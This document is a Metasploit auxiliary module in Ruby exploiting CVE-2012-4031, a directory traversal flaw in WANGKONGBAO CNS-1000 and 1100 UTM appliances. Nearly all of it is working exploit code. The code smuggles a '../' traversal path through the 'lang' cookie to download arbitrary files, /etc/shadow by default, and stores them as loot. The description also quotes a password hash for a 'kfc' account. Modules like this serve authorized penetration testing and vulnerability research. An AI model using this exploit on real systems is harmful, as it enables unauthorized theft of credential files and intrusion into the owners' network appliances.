WANGKONGBAO CNS-1000 And 1100 UTM Directory Traversal

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::Scanner  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'WANGKONGBAO CNS-1000 and 1100 UTM Directory Traversal',  
'Description' => %q{  
This module exploits the WANGKONGBAO CNS-1000 and 1100 UTM appliances aka  
Network Security Platform. This directory traversal vulnerability is interesting  
because the apache server is running as root, this means we can grab anything we  
want! For instance, the /etc/shadow and /etc/passwd files for the special  
kfc:$1$SlSyHd1a$PFZomnVnzaaj3Ei2v1ByC0:15488:0:99999:7::: user  
},  
'References' =>  
[  
['CVE', '2012-4031'],  
['EDB', '19526']  
],  
'Author' =>  
[  
'Dillon Beresford'  
],  
'License' => MSF_LICENSE  
))  
  
register_options(  
[  
Opt::RPORT(85),  
OptString.new('FILEPATH', [false, 'The name of the file to download', '/etc/shadow']),  
OptInt.new('DEPTH', [true, 'Traversal depth', 10])  
])  
end  
  
def run_host(ip)  
# No point to continue if no filename is specified  
if datastore['FILEPATH'].nil? or datastore['FILEPATH'].empty?  
print_error("Please supply the name of the file you want to download")  
return  
end  
  
travs = "../" * datastore['DEPTH']  
travs = travs[0,travs.rindex('/')]  
  
# Create request  
res = send_request_raw({  
'method' => 'GET',  
'uri' => "/src/acloglogin.php",  
'headers' =>  
{  
'Connection' => "keep-alive",  
'Accept-Encoding' => "zip,deflate",  
'Cookie' => "PHPSESSID=af0402062689e5218a8bdad17d03f559; lang=owned" + travs + datastore['FILEPATH'] + "/."*4043  
},  
}, 25)  
  
print_good "File retrieved successfully"  
  
# Show data if needed  
if res and res.code == 200  
vprint_line(res.to_s)  
fname = File.basename(datastore['FILEPATH'])  
  
path = store_loot(  
'cns1000utm.http',  
'application/octet-stream',  
ip,  
res.body,  
fname  
)  
print_status("File saved in: #{path}")  
else  
print_error("Nothing was downloaded")  
end  
end  
end  
`